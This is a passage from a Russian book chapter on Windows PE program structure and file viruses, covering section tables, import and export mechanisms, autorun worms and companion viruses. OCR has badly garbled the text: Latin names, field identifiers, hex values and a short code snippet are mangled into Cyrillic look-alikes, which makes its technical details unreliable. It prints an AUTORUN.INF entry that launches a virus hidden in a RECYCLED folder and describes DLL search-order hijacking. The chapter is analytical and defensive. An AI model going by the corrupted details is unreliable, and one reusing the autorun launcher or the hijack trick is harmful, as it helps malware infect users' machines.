ВезоигсеТаЬ1ей\/А йй ? +88П - НМА таблици ресурсов
йезоигсеТаЬ1е312е йй ? +8СП - Размер таблици ресурсов
Ехсер1:1опТаЬ1еЯ\/А йй ? +90(1 - ЙУА таблици исключений
Ехсер1:1опТаЬ1е312е ЙЙ ? +94 П - Размер таблицм исключений
ЗесигиуТаЬ1ейУА йй ? +98Ь - ВУА таблиии безопасности (не ислользуется)
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Зеси г11:уТаЬ1е812е 00 ? +9С& - Размер таблицн беэопасности (не испсшьзуется)
Ғ1хирвТаЬ1еНУА 00 ? +А0Ь - НУА табяица перемецаених соилок
Ғ1хирзТаЬ1е512е 00 ? +А4И - Размер таблицм перемецаеммх ссьюок
0еЬидТаЬ1еНУА 00 ? +А81) - ВУА таблици отладочной информации
0еЬидТаЬ1е31ге во ? +АСП - Размер таблици отладочной информации
0езсг1ргюпВУА 00 ? +воъ - ВУА строки описания
0езсг1рг1оп312е 00 ? +В4Ь - Размер строки описания
Мас!)1пе0а1:аВУА 00 ? +В8Ь - ЯУА блока машинозависимой информации
МасГ11пе0а1:а31ге 00 ? +ВСИ - Размер блока машинозависимой информации
ТЬЗЙУА 00 ? +С0И - НУА локальной области данних потока
П БЗгге 00 ? +С4Г) - Размер локальной области данних потока
Юа()СопТ1дВУА 00 ? +С8И - Не используется
(.оа^СопИдЗ^ге 00 ? +ССИ - Не используется
ВоигкНшрогША 00 ? +00(1 - НУА таблици Ьоип0-импорта
ВоипсИярог-СЗие 00 ? +04Г* - Размер таблици Ьоип0-импорта
ТАТНУА 00 ? +08(1 - ВУА блока 1АТ
1АТ312е 00 0 +0С(1 - Размер блока 1АТ

00 0 +Е0И - Не используется
00 ? +£4(1 - Не используется
00 ? +Е8П - Не используется
00 ? +Ее1> - Не используется
00 ? +Ғ0П - Не используется
00 ? +Ғ4(| - Не используется

С появлением 64-битових версий операционннх систем и 64-би- 
товьгх прикладннх программ возникла необходимость в коррекции 
этого формата. Фирма МкгозоЙ сохранила обшую структуру всех за- 
головков, только некоторне поля в них «внросли» с 4 до 8 байтов и, 
соответственно, поменяли местоположение. «Старнй» формат харак- 
теризуется константой ЮВЬ в поле «Ма@1с>, а -«новьш» -  константой 
20ВЬ. Впрочем, пока подлинно 64-битовнх прикладннх программ 
(как и вирусов для них) очень мало. Несмотря на свою «64-бито- 
вость», самне современнне версии \Утс1о\У5 внполняют преимувдест- 
венно «старне» РЕ-программн.

43.1.1. РЕ-программм на диске и в памяти
И в том, и в другом случае РЕ-программн представляют собой на- 

бор секций, среди которнх можно отметить.
О область («псевдосекцию») заголовков;
О секцию кода;
О секцию данньгх;
О секцию инициализированннх данннх;
О секцию отладочной информации и прочее.
Количество секций (без учета «псевдосекции») указнвается в поле 

«МигпЪегО£5 есСюп5» заголовка. Параметрн секций (их местоположе-
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ние, размер, флаги свойств, символическое имя и т. п.) описьшаются 
в специальной «таблице секций», речь о которой пойдет дальше.

Как правило, компилятори и компоноввдики строят РЕ-программн 
так, что каждая секция содержит однородную информацию, например 
или только код, или только даннне. Для дифференциации типов дан- 
ннх каждой секции ставятся в соответствие битовне флаги свойств: 
флаг разрешения чтения из секции, флаг разрешения записи в нее, 
флаг разрешения исполнения содержавдегося в секции кода и прочее. 
Тем не менее ничто не мешает иметь всего одну секцию со всевозмож- 
ньши установленньши флагами, содержавдую одновременно и код, и 
даннне, и прочую информацию. Но распространеннне компиляторн 
и компоновшики так не поступают. Наоборот, имеется тенденция 
введения -«внутрифирменннх»- стандартов. Например, М^сгозоЙ вн- 
деляет несколько типов содержимого, хранявдегося в различннх сек- 
циях: тип ч.1ехС» для исполнимого кода, «,с1а1а> для данннх, «лс1а1а» 
для констант и т. п. А Вог1ап<1 строит секции с именами «СОБЕ» для 
исполнимого кода и «ОАТА» для данннх. С точки зрения загрузчика, 
для 99.99% Шпс1оАУ8-программ эти символические имена ничего не 
значат. Можно поменять их местами, исправить на <.те1ос!у»,
произвести евде какие-нибудь «шалости» с именами секций, но на за- 
грузку и исполнение программн это никак не повлияет. Нредставите- 
лем оставшихся 0.01% является, например, динамическая библиотека 
«ОЬЕА11Т32.В1.1>, в которой символические имена секций изме- 
нять нельзя, так как они исцользуются кодом самой библиотеки. Но 
такие примерн единичнн.

Образ РЕ-программьх, хранявдийся в дисковом файле, разделен 
на логические секторм. Размер такого сектора указан в поле «ҒПе- 
АИ§птеп1:» заголовка (обнчно это 512 байтов). Кажднй структурньш 
элемент программн (служебная область заголовков, кодовая секция, 
секция данннх и т. п.) размеадается с начала некоего логического сек- 
тора, и под него всегда внделяется целое число секторов. Даже если 
содержимое какого-нибудь структурного элемента реально занимает 
мало места (например, всего один байт), под этот элемент все равно 
будет внделен целнй лошческий сектор (а 511 байтов в его «хвосте»- 
останутся неиспользованннми).

После загрузки программн в память она также оказнвается раз- 
делена на логические секторн, но размер этих секторов другой. Он 
указнвается в поле «5есйопАИ§птеп1» заголовка, и его типичнне 
значения -  4096 или 65 536 (если программа собрана компоноввди- 
ком фирмн ВоНапс!) байтов.
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Все структурнме элементн программн, включая «область заголов- 
ков» (содержавдую, кроме собственно заголовка, массу служебннх 
таблиц), присутствуют и в файле, и в памяти, причем если программ- 
ннй файл сгенерирован «нормальннм» компоноввдиком, то размеада- 
ются в одном и том же порядке.

Вдйсковомфайлв Впамяти

Рис. 4.10 ❖ РЕ-программу на диске и в памяти

Адрес, соответствуюадий началу программн в памяти (первому 
байту БОЗ-заголовка), обнчно соответствует значению поля ч1та§е- 
Вазе», но может и отличаться от него. В этом случае становится ак- 
туальной таблица перемешаемнх сснлок, на которую указнвает поле 
«Ғ1хирзТаЬ1еКУА» таблицн объектов. Впрочем, не без оснований счи- 
тается, что таблица перемеадаемнх сснлок присутствует только у ди- 
намических библиотек, которнм «гулять» по памяти сам Билл Гейтс 
велел. А обьетнне исполняемне программн такой таблицн просто не 
содержат, и если по какой-либо причине у них не получается загру- 
зиться по адресу, указанному в поле «Ьпа^еВазе», то они не загружа- 
ются вообаде1.

Для программ, ориентированннх исключительно на \¥ шс1о\У8 КТ, 
в поле -«1та§еВазе» может бьггь указано какое-нибудь «маленькое» 
значение (например, ЮООООЬ), и поэтому в У/шсЬу/з 9Х они не за- 
пустятся. Таких программ очень мало, чааде всего это системнме ути-

1 Для 'УУтскуиге У15(:а/7 это уже не так
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литн, входяшие в дистрибутивную поставку \Ушс1о\у8 N7. Напротив, 
•«универсальнне» программм обнчно имеют в этом поле значение, 
большее или равное 400000Ь, и такие программм смогут стартовать 
в любой операционной системе.

43.12. Таблица секций
Эта очень важная служебная структура размешается сразу вслед за 

заголовком, то есть практически всегда по смешению 0Ғ8Ь от начала 
«старого» РЕ-заголовка. Впрочем, программистн фирмь1 М1сгозоЙ 
рекомендуют внчислять это значение как сумму К\А «необязатель- 
ной» части заголовка и ее длинн, храюпцейся в поле «ЗиеОЮрйо- 
па1Неас1ег».

В <строках> этой таблицн размешается информация о программ- 
ннх секциях. Обратите внимание, что информация о какой-либо сек- 
ции может в таблице присутствовать, а самой секции в программном 
файле может не оказаться. И наоборот, есть по крайней мере одна 
«секция», которая не описана в этой таблице, но обладает всеми свой- 
ствами секции, присутствует и на диске, и в памяти, -  это служебная 
«псевдосекция» заголовков.

Вот формат одной «строки» таблицн секций:
Маше ЙЬ 8 дир(?) +00Ь -  Наименование секции
У1ггиа1312в аа ? +0811 -  Размер секции в памяти
VI г1:иа1Айс! геаа 00 ? +0СЬ -  ЯУА секции в ламяти
ЗиеОГйаукОага 00 ? +10И -  Раэмер секции на диске
РохпгегТойаяОага 00 ? +1411 -  Файловое смеиение секции
Ро1п1егТоЯе1осагхопз 00 ? +18Ь -  Не испольэуется
Ро1п1:егТоЦпепи1пЬег5 00 ? +1СП -  Не испольэуется
МишЬегО^Яе^осаШпз 0« ? +20(1 -  Не используется
КивЬегОСИпепияЬегз 0« ? +22(1 -  Не используется
СЛагасгегхзПсз 00 ? +24(1 -  битовие флаги, характеризуюшие секцию

В поле «Нате» располагается как раз то самое «никому не нужное» 
(кроме динамической библиотеки «0ЬЕА11Т32.0Ь1>) символиче- 
ское имя секции. Если имя имеет длину менее 8 символов, то послед- 
ние байтн имеют нулевое значение.

Поля «У1гШа1512е» и «51геОГОа\уОа£а» содержат значения, соот- 
ветствуюшие целому количеству логических секторов. «Полезная» 
информация почти всегда занимает лишь часть секции, и в этом слу- 
чае в конце ее образуется неиспользуемое пространство.

Одновременное присутствие в таблице полей «У1г1иа1АсМге55» 
и «Ро1п1егТоКашОаСа» позволяет сделать вполне логичннй внвод 
о том, что порядок размешения секций в памяти и на диске может не
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совпадать. Но, как мм уже отмечали ранее, компоновшики, входяшие 
в состав распространенннх систем программирования, не склоннн 
к подобннм «акробатическим этюдам» и размешают секции в файле 
в том порядке, в каком они будут потом загруженн в память. Место- 
положение •шсевдосекции »• заголовков в дисковом файле определя- 
ется содержимнм двойного слова со смешением ЗСЬ, а в памяти -  со- 
держимнм поля <1та§еВазе».

При сканировании РЕ-программ антивирусами часто приходится 
решать следуюшую задачу: известен КУА (относительннй виртуаль- 
ннй адрес) некоторого объекта в памяти, требуется найти его место- 
положение РозМоп в программном файле. Задача решается в резуль- 
тате внполнения следуювдих действий:

О сначала сканируется таблица секций и определяется секция, 
внутри которой находится объект, то есть та секция, для кото- 
рой КУА > У1гСиа1А(1с1ге83, но при этом КУА < У1гШа1АсМге53+ 
+Уй1иа1512е;

О для этой секции определяется смеадение объекта относительно 
ее начала Бе11а := У1г1иа1АсМгез8 -  КУА;

О искомая файловая позиция рассчитнвается как сумма место- 
положения секции на диске и определенного на предндутцем 
шаге смевдения Роз11:юп:=Рот(:егТоКаАуВа1а+1)е11а.

В поле «СЬагас1епз&сз» таблицн секций устанавливаются битовне 
флаги, некоторне из которнх мн сейчас перечислим: 20Ь -  секция 
содержит программннй код; 40Ь -  секция содержит инициализиро- 
ваннне даннне; 80Ь -  секция содержит неинициализированнне дан- 
нне; 200Ь -  секция содержит комментарии или какую-нибудь другую 
вспомогательную информацию; 800Ь -  секция не предназначена для 
загрузки в память; 02000000Ъ -  разрешено удаление содержимого 
секции из оперативной памяти; 20000000Ь -  разрешено исполнение 
кода, находявдегося в разделе; 40000000Ь -  разрешено чтение из раз- 
дела; 80000000Ь -  разрешена запись в раздел.

Например, в программном файле «МОТЕРАО.ЕХЕ» имеется сек- 
ция <.Сех1> с битовнми флагами 060000020Б, и это означает, что она 
содержит исполняемнй программннй код, которнй разрешено толь- 
ко читать. Секция «.с1а1а» этой же программн имеет набор флагов 
0С0000040Ь, что соответствует инициализированннм данннм, кото- 
рне можно и читать, и видоизменять. «Псевдосекция» заголовков ни- 
где явно не описана, но ее свойства (с точки зрения \У1пс1одуз 9Х, н о  не 
\̂ 1пс1о^8 Ш"!) можно охарактеризовать флагами бОООООбОЬ, то есть 
в ней могут содержаться и даннне, и пригодннй для исполнения код, 
но запись в эту секцию запревдена.
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Наличие подобньсс флагов, строго разграиичиваютих чправа и 

обязанности» содержимого секций, несколько затрудняет вирусу 
жизнь: например, становится невозможной простая самомодифика- 
ция кода, на которой основанм самошифрование и полиморфизм. 
Но, разумеется, для того чтобн написать простенькую утилитку, уста- 
навливаюцую для секций в программном файле нужнне флаги (на- 
пример, 0Е0000020Ь), не нужно бьггь гением программирования, и 
изготовить ее для себя в течение 15 минут способен любой вирусопи- 
сатель, вирусолог и просто любознательннй системньш программист. 
Забавннй факт: вьшолняювдая подобную операцию крайне при- 
митивная утилита «РЕ\¥КЗЕС.ЕХЕ»-, опубликованная в середине 
90-х годов в одном из ранних номеров элекгронного журнала «29А», 
вдруг начала свое бурное распространение по миру гораздо бнстрее 
и активнее иннх вирусов, так что вирусологи даже опсликнулись на 
этот факт специальннми пресс-релизами и срочно внесли ее в свои 
антивируснне базн (например, «Антивирусу Касперского»- она из- 
вестна под названием У кТоо1.Ре\тес).

4.3.1.3. Импорт объектов
Под чобъектами* в данном случае понимаются процедурн и функ- 

ции, расположеннне во внешних библиотеках (например, системнне 
сервисн). Программн, не импортируювдие никаких внешних проце- 
дур, теоретически сувдествовать могут, но работать они будут далеко 
не во всех операционннх системах. Дело в том, что в \Утс1о\У5 9Х ди- 
намическая библиотека «КЕККЕЬ32.01Х» автоматически проециру- 
ется на адресное пространство любой программн, даже той, которая 
не собиралась к ней обравдаться. Поэтому такая программа, если вдруг 
внезапно «передумает», все-таки сможет обратиться к системннм 
сервисам, и этот прием («явньш» импорт) будет рассмотрен далее. 
В противоположность этому \ У ш с 1о \у 5  КТ с  такой программой «нян- 
читься> не станет и реально оставит ее без «КЕЯМЕЬ32.ВЬЬ», на чем, 
собственно говоря, ее бренное сувдествование и завершится. Если же 
вести речь о «нормальнмх» программах, то они, как правило, импорти- 
руют, по крайней мере, функцию ЕхйРгосеззО из «КЕКМЕЕ32.0ЕЬ».

Известнн два варианта импорта функций из внешних динамиче- 
ских библиотек: явннй и неявннй.

Явньш импорт подразумевает, что программа на этапе своего вн- 
полнения запрашивает у операционной системн линейннй адрес ин- 
тересуюшей функции и использует полученное значение для непо- 
средственного доступа к оной. Например, это может внглядеть так:
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ИурейеГ Ц1МТ (М1НАР1* ЕРТуре)(Ш»Ю);
ННООиЬЕ НК32 = 0е1:Мо()и 1еНапй 1е( ''КЕНМЕС32.011");
ЕРТуре _ЕхиРгосезз=СеТ:РгосА()йге5з((1К32, 'Е хН Рго сезз");
_Ех11Ргосез5(0);

Но этот способ импортирования функций изначально ограничен. 
Дело в том, что он основан на работе системннх функций СеШойи- 
1еНап<11е и Се^РгосАсМгезз, которме, в свою очередь, тоже являются 
системньши сервисами, поставляемьши библиотекой <КЕККЕЬ32.

Получается замкнутнй круг, которьш невозможно разорвать 
средствами явного импорта.

Неявний импорт предусматривает, что:
О чисто лингвистическими (язнковнми) средствами программа 

анонсирует лишь перечень интересуюшнх ее библиотек и им- 
портируемнх из них функций;

О на этапе трансляции и компоновки эти даннне помевдаются 
в служебнне области ЕХЕ-файла;

О функциональннй компонент операционной системн (назнвае- 
мьш обнчно просто «загрузчиком») не только размевдает код и 
даннне программн в оперативной памяти, но и, пользуясь переч- 
нем имен библиотек и функций, формирует в ее адресном про- 
странстве специальную справочную таблицу 1АТ (1трог1 Ас1с1- 
гезз ТаЪ1е) с актуальннми линейннми адресами этих функций;

О на этапе исполнения программн внзов той или иной вневдней 
функции сводится к обравдению по линейному адресу, храня- 
вдемуся в той или иной «строке» таблицн 1АТ.

Механизм неявного импортирования функций из внешних биб- 
лиотек базируется на таблице импорта, которую можно найти в па- 
мяти по значению поля ч1трогсТаЬ1еК.\/А» заголовка РЕ-программн. 
В дисковом файле ее придется искать внутри одной из секций, КУА 
которнх известнн. Например, в программе <НОТЕРАО.ЕХЕ»> из 
\Утс1о\У5 98 поле «ЬпроП:ТаЬ1еК\А» имеет значение бОООЬ, что со- 
ответствует «внутренносгям» секции «лс1аСа». Ну а местоположение 
самой этой секции в дисковом файле известно (см. поле «РопЛег- 
ТоКашБаСа» таблицн секций).

Таблица импорта -  это «вход» в разветвленную структуру данннх, 
содержавдую сведения об именах и адресах импортируемнх объектов, 
а также о принадлежности их тем или иннм библиотекам. Вот формат 
«строки» этой таблицн:
О п втаХ Т тгв С К ш п к  йй ? ; <-0011 -  ЯУА адреса имени функции
ШеОа^еЗгатр с)й ? ; +04п -  Метка дати и времени
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Ғо гма гс1е гСЬа 1 п сИ ?
Иате сМ ?
ҒАге^ТГшпк сМ ?

+08(1 -  Не испольэуется
+0С(1 -  НУА имени библиотеки
+10(1 -  ЯУА линейного адреса функции

Теоретически поле «1трогЪТаЬ1е51ге> в таблице объектов харак- 
теризует размер таблицн импорта. Но практика показала, что более 
надежннм является сканирование таблицн импорта до тех пор, пока 
все ее поля не окажутся нулевмми. Принцип хранения информации, 
описьшаемой этой таблицей, представлен на рис. 4.11.

Табпица иипорта

Рис. 4.11 ❖ Организация импорта в РЕ-программах

Но не так все просто. На самом деле механизм импорта внешних 
объектов, используемьга в ОДпсЬшз, представляет собой совокуп- 
ность нескольких различннх методов, решакицих одну и ту же задачу, 
но по-разному -  в зависимости от версии операционной системн; от 
вида импортируюшей программн; от компоновшика, которнй сгене- 
рировал программньга файл; от библиотеки, функции которой им- 
портируются; и евде от многих условий.

Обнчно каждая «строка» таблицн импорта характеризует целую 
группу функций, импортируемнх из какой-то определенной библио- 
теки, символьное имя которой адресуется полем «Нате» (например, 
этой библиотекой может бьпъ <КЕКМЕЬ32.ВЬЬ»). Ключевую роль 
в каждой «строке» играет поле «ТтеОаТеЗТатр», которое предназна- 
чено для хранения уникальной метки той версии библиотеки, на ко- 
торую ориентировался компоновидак, создавая программннй файл.
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Рассмотрим несколько различнмх вариантов числовнх значений это- 
го поля, которне реально встречаются в программннх файлах.

Вариант первьш -  чстандартннй» и наиболее частнй: поле «Тйпе- 
ОаСеЗСатр» содержит значение 0. Это означает, что компоновшик 
изначальио не ориентировался на какую-нибудь конкретную версию 
библиотеки. В этом случае поле «ОпфпаГОпгз^ТЪипк» сснлается 
внутрь «Таблицн адресов имен или ординалов функций» на первнй 
32-битовнй элемент в подгруппе последовательно расположенннх 
К\А имен (или ординалов) функций, а поле <ТЬ1Гз1ТЬипк» -  внутрь 
таблицн <1АТ» на первнй элемент в подгруппе КУА самих функций. 
Обе эти подгруппн «синхроннн», то есть их элементн с одинаковнм 
индексом описнвают одну и ту же функцию, и обе они заканчивают- 
ся нулевнм элементом. Ординал от адреса имени функции отличить 
очень просто: если в элементе «Таблицн адресов имен или ординалов 
функций» установлен в единицу старший 31 -й бит, то остальнне битн 
представляют собой номер функции в библиотеке, то есть ее ординал; 
если этот бит сброшен в 0, то данное 4-байтовое число представляет 
собой сснлку внутрь «массива имен функций». Этот массив содер- 
жит записи переменной длинн, первне два байта которнх содержат 
числовую «подсказку» загрузчику, где искать функцию в библиотеке 
(часто это просто 0), а далее следует строка имени, заканчиваювдаяся 
нулевнм байтом. Кстати, иногда поле «ОпфпаТОйгз^ТЬипк»- может 
оказаться пустнм, в этом случае поле «КгзСТЬипк» несет двойную на- 
грузку: в программном файле оно содержит сснлку внутрь «Таблицн 
имен или ординалов функций», а после загрузки в память -  ссьшку 
внутрь «1АТ». Массив <1АТ» становится актуальннм только после за- 
грузки программн в память, когда загрузчик помешает в него реаль- 
нне значения адресов функций.

Вариант второй, характерннй для некоторнх системннх утилит, 
входяших в дистрибутивную поставку ^пйодуз: поле «ТСтеБа^е- 
51атр» содержит значение, отличное от 0, например ОҒҒҒҒҒҒҒҒЬ. 
Это означает, что компоноввдик учел следуювдее обстоятельство: для 
конкретной версии \У1пс1одуз, с которой однозначно связана конкрет- 
ная версия стандартной динамической библиотеки, линейнне адреса 
расположения различннх сервисннх функций жестко фиксированн. 
Таким образом, сложннй процесс поиска и сопоставления имен и 
адресов функций, описанннй вьпие, оказнвается избнточннм. Ак- 
туальнне адреса функций можно заранее, еше на этапе компоновки 
жестко прописать в программе, подразумевая при этом, что данную 
программу никто не будет пнтаться запускать в неподходяшей вер-



240 ❖ Файловье вируси в \ЛЛгк*>л/5

сии 'УМтскгогз. Такой вид импорта в фирменной документации от 
МкгозоЛ назьгеается Ъоипй-импортом (от англ. 1о Ьтй -  сплетать 
что-либо вместе). Если •«Т1теОа(;е5Сатр»- содержит какое-то конк- 
ретное числовое значение, то информация об именах библиотек хра- 
нится так же, как и в «стандартном» случае, описанном вьпце. Если 
-«ТйпеБа^еЗЬатр» содержит ҒҒҒҒҒҒҒҒЪ, то для доступа к именам 
библиотек используется отдельная таблица, которая адресуется по- 
лем «ВоипсИтропКУА» заголовка РЕ-программн. Формат каждого 
элемента этой таблицн внглядит следуюгцим образом:
ИшеОагеЗгатр с1с1 ? ; +00(1 -  Метка датм/времени
О^зегМосШеИате йм ? ; +04(1 -  Смешение имени библиотеки
ИитЬегО^МосШеҒогиагйегВе^з ? ; +06(1 -  Количество "опосредованнах" внэовов

Метка датн и времени, храняшаяся в поле «Т1теОа1е5£атр», нуж- 
на для сравиения со значением в одноименном поле заголовка биб- 
лиотеки -  вдрут она (библиотека) все-таки имеет другую версию?! 
Поле -«ОЙ8е1Мо(1и1еНате» содержит смеадение имени библиотеки, 
отсчитнваемое от начала Ьоипс1-таблицн. Поле «КитЬегО£Мо(!и1е- 
Ғотагс1егКе£з> требуется загрузчику в том случае, если импорти- 
руемая функция сама внзьгаает какую-нибудь другую функцию из 
другой библиотеки, версию которой тоже необходимо проконтроли- 
ровать. Агде же хранятся актуальнне адреса функций? Под них внде- 
лен массив 32-битовнх двойннх слов, адресуемнй полем «1АТК.УА»- 
заголовка. Он разбит на несколько групп (по количеству библиотек), 
разделенннх нулевьши элементами. Обшее количество элементов 
1АТ-таблицн легко определяется по значению поля •«1АТ51ге».

Третий случай, соответствуюший так назмваемому «отложенно- 
му» импорту, тоже изредка встречается в программах. Подробно мн 
его рассматривать не будем, так как в контексте нашей книги он боль- 
шого интереса не представляет. Упомянем только, что основная идея 
«отложенного» импорта заключается в перенаправлении запросов 
некоему компоненту операционной системн, которьш динамически 
определяет нужнне адреса функций и подставляет их в таблицу им- 
порта.

Итак, мн рассмотрели несколько различннх способов, при помоши 
которнх РЕ-программа может импортировать функции из внешней 
динамической библиотеки. Следует отметить, что в чистом виде они 
в РЕ-программах практически не встречаются, а обнчно имеют мес- 
то различнне их комбинации. Часто в РЕ-программе присутствуют 
служебнне даннне, которне можно использовать и для -«стандартно-
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го»-, и для «сплетенного» импорта. Если имеется альтернатива, то за- 
грузчик программ обнчно начинает разбор структур с Ьоипй-импорта 
(так как он провде и бнстрее) и только при несовпадении версий биб- 
лиотек переходит к «стандартной» или «отложенной» методике.

43.1.4. Экспорт объектов
Это механизм, обеспечиваювдий операцию, обратную к импорту. 

При помовди него динамические библиотеки (а иногда и исполняемме 
программн) предоставляют необходимую служебную информацию 
о процедурах и функциях, которнми «согласнн поделиться» с дру- 
гими программами. Например, системная библиотека «КЕШЧТЕЬ32. 
БЬЬ» в разннх версиях \У1п(1о\у5 содержит от нескольких сотен до 
нескольких тнсяч таких «обвдедоступннх» функций.

Могут ли программн и динамические библиотеки одновременно 
импортировать и экспортировать функции? Да, могут. Например, ис- 
полняемне программн, подготовленнне для работн под управлением 
отладчика, кроме вполне естественного импорта, также экспортиру- 
ют несколько функций, которнми этот отладчик будет пользовать- 
ся. А динамическая библиотека «КЕККЕЬ32.0ЬЬ» из \Мпс1о\У5 ИТ 
почти все экспортируемне функции предварительно импортирует из 
другой библиотеки «КТОЬЕ.ОЕЬ», где они на самом деле и реализо- 
ванн.

Разбор механизма экспорта следует начинать с оглавления, по- 
зиция которого определяется содержимьш поля «ЕхрогсТаЬ1еК\А.» 
заголовка программн. Это оглавление и все служебнне таблицн, 
описьшаювдие экспорт, часто компактно располагаются в одной из 
секций (например, в 4.ес1а1а>), но сувдествует немало динамических 
библиотек и программ, в которнх это не так. Структура оглавления:
С^агайегхзИсз йй ? +00И - Поле характеристик, обнчно здесь содержится 0
ИтеОагеЗГаир йс1 ? +0411 - Метка времени и датм создания
Ма]ог\/егз1оп ам ? +0811 - Старшее слозо версии
МхпогУегзгоп йм ? +0А& - Младшее слово версии
Нате ав ? +0С11 - ПУА икени библиотеки или программь
Вазе ЙЙ ? + 1011 - Число, с которого начинается нумерация функций
МитЬегОТҒипсиопз ай ? +14П - Количество функций
МитЬегОТМатез СИ ? +1811 - Количество имен функций
АсМгеззОТҒипсИопз ас1 ? +1СИ - ВУА таблицм адресов функций
АййгеззОСМатез ай ? +20П - НУА таблицн адресов имен функций
АсЮгезз0Т№п«0га1г;а15 ай ? +241-1 - Я\'А таблици номеров функций

Наиболее важнн для нас поля «АйсЬ-еззОЯчтсйопз», «АсМгевз- 
ОШашез» и «АсМгезвОШашеОгсЬпаЬ». Они содержат адреса таблиц,
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описьшаюших экспортируемне функции. Взаимодействие данньгх, 
размехценнмх в этих таблицах, можно представить следуюшим об- 
разом:

Тз№ица
адрвсоеимен
функций

Таблица
ноиеров
функций

ТаЬпица
адресов
фумсции

32б**та 16битов \ 1  * 32бита--------■------ - — • • «
* ■ * *' ..г 1";...^

1........................1 1.............. С *
Рис. 4 .1 2  ❖ Организация экспорта в РЕ-программах

Как бнло нами рассмотрено ранее, импортируюшая программа для 
доступа к интересуюшей функции может указать как ее имя (напри- 
мер, «ЕхкРгосезз»), так и ординал (например, 248). Соответственно, 
механизм экспорта основан на двух таблицах, одна из которнх содер- 
жит 32-битовне указатели на строковне имена функций, а другая -  
16-битовне порядковне номера (это евде не ординалн!). Эти таблицн 
содержат по «КшпЪегОШатез» записей и «синхроннн», то есть записи 
с одинаковнм индексом описьшают одну и ту же функцию. Сканируя 
их параллельно, можно по имени функции узнать ее порядковьш но- 
мер, а по порядковому яомеру -  имя. Порядковнй номер функции -  
это ее индекс в «Таблице адресов функций». Именно этот индекс и 
считается «ординалом», по которому внполняется экспорт функций.

«Таблица адресов функций», по сравнению с другими таблицами, 
устроена несколько сложнее.

Во-первнх, нумерация ее записей начинается с числа, которое не 
обязательно равно едииице, и определяется значением поля «Вазе* 
оглавления. Именно поэтому «ординал» может не совпадать с «по- 
рядковьш номеромк

Во-вторнх, в ней могут встретиться адреса функций, которьш нет 
соответствия в «Таблице адресов имен функций» и в «Таблице номе- 
ров функций». Это просто означает, что указаннне функции хотя и 
присутствуют в библиотеке, тем не менее не предназначенн для экс- 
порта.

В-третьих, в таблице могут встретиться «пустае» записи с нуле- 
внм значением, то есть данннй ординал зарезервирован, но не ис- 
пользуется.
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В-чегвертнх, в разнмх записях могут встречаться одинаковне 
значения. Например, в <КЕКМЕЬ32.0£Ь> из \У1Пс1оауз 95 функции 
«ВаскирКеад» (ординал 127) и чВаскир\¥п1:е» (ординал 129) реали- 
зуются одним и тем же кодом, и поэтому им в таблице соответствует 
один и тот же адрес.

Наконец, некоторме записи в этой таблице могут указнвать не 
на код внутренней функции, а на строковое имя внешней функции, 
предварительно импортированной из другой библиотеки. Это харак- 
терно, например, для библиотеки «КЕКМЕЕ32.0ЬЬ» из \¥тс!о\У5 МТ.

4.3.2. Где располагаются вируси
В могут сувдествовать простне вирусн традиционннх типов
(•«спутники» и соверлейнне» вирусн), но в подавляювдем большин- 
стве случаев вирусописателями используются методн заражения, ос- 
нованнне на «имплантации» кода вируса в структуру РЕ-программн. 
Появились также новне и необнчнне методн размеадения вирусного 
кода. Итак, обо всем по порядку.

432.1. Файловие «черви»
Вирусн этого типа не прикрепляются к другим программам, 

а просто «лежат» в каком-нибудь каталоге в виде отдельного файла. 
Как же они получают управление? В эпоху М 5-Б05 вирусам подоб- 
ного типа приходилось из шкурн вон лезть, пнтаясь соблазнить поль- 
зователя каким-нибудь «привлекательньм» наименованием типа 
«РОКЖХЕХЕ* или -«КИКМЕ.СОМ». Теперь этого не требуется. 
Червь может просто прописать свой запуск в Реестре (такой подход 
широко используется сетевнми и почтовнми червями). Файловне 
же черви используют файл «А11ТОК11К.ПчтҒ», которнй служит для 
старта программ, размевденнмх на съемннх носителях -  СБ-дисках и 
•«флэшках». Вот типичннй пример содержимого «А1ТТОКОН.ШҒ», 
обнаруженного на зараженной «флэшкек
[АиИоНип]
зИе11ехеси1:е=гесус1ей\5уз.ехе

Нетрудно сообразить, что вирус (в данном случае это \^т32. 
Рег1оу§а.а) создает на «флэшке» каталог «КЕСУСЬЕО» (это стан- 
дартное имя для чмусорной корзинн» М пс1о> а '5 ) и  помеадает в него 
свое тело. Стоит вставить «флэшку» в 115В-разьем, и вирус тут же 
запускается.

Суадествуют довольно сложнне способн отключения автозапуска 
программ, связаннне с редактированием Реестра. Однако заблокиро-
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вать распространение АСТОК11К-червей можно и «рабоче-крестьян- 
скими» методами -  достаточно вручную создать на «флэшке» каталог 
с именем «А11ТОК11К.ШҒ», поместить в него еше несколько вложен- 
ннх каталогов (возможно, с «запрегцешшми» именами типа «А11Х», 
хотя это не обязательно) и завдитить их все от записи. Далеко не вся- 
кий «червяк» сообразит, что перед ним не файл, а каталог; что для 
его удаления необходим рекурсивннй обход дерева с «внчишением» 
всего содержимого, со сбросом битов, с правкой имен и т. п.

Дешево и сердито, не так ли?
Впрочем, в 2011 г. М1СГ0 5 0 Й внпустила патч, деакгавируюший 

для всех версий \¥1пс1о\У5 автозапуск со сменннх носителей, а в \¥ т -  
(1о\уз 7 автозапуск просто-напросто опслючен по умолчанию.

4.32.2. Вирусъ1-*спутники»
Формально вирусн этого типа вполне могут жить и размножаться 

под управлением 32-разрядннх версий \У1ПЙо\уз. Их свойства бнли 
нами изученн на примере М5-Б05-«собратьев», и нового добавить 
остается очень мало. Пожалуй, самой интересной особенностью 
(1о\̂ 8, влияювдей на «повадки»- вирусов-спутников, является порядок 
поиска системой программ и динамических библиотек, предназна- 
ченньк для загрузки в память:

О сначала в каталоге процесса-родителя;
О затем в текушем каталоге;
О потом в «системном» каталоге \Утйо\У8 (например, в «С:\ 

\¥тКгТ\5У5ТЕМ32»- или в «С:\\Утс1о\уз\5¥5ТЕМ».);
О далее в «базовом» каталоге операционной системн (например, 

в «С:\\¥т>ГГ» или в «С:\\¥тс1о\^5»);
О наконец, в каталогах, перечисленннх в «тропе» (то есть в пере- 

менной окружения «РАТН»).
Например, вирус может создать какой-нибудь «поддельннй» ком- 

понент операционной утилитн (динамическую библиотеку или ути- 
литу), которнй по умолчанию располагается в «базовом каталоге», и 
поместить его в «системньга» каталог. В этом случае в первую очередь 
будет исполняться именно «подделка». Так, в частности, поступают 
вируснсемейства\Уш9Х.Оира4огсбиблиотекой«КЕККЕЬ32.ВЕ1>.

Впрочем, для вирусов семейства \Уш9Х.Оира1ог это всего лишь 
«вспомогательннй» механизм. Шансн же на распространение «чис- 
тнх» вирусов-«спутников» незначительнн, поэтому в среде \¥1п(1о\уз 
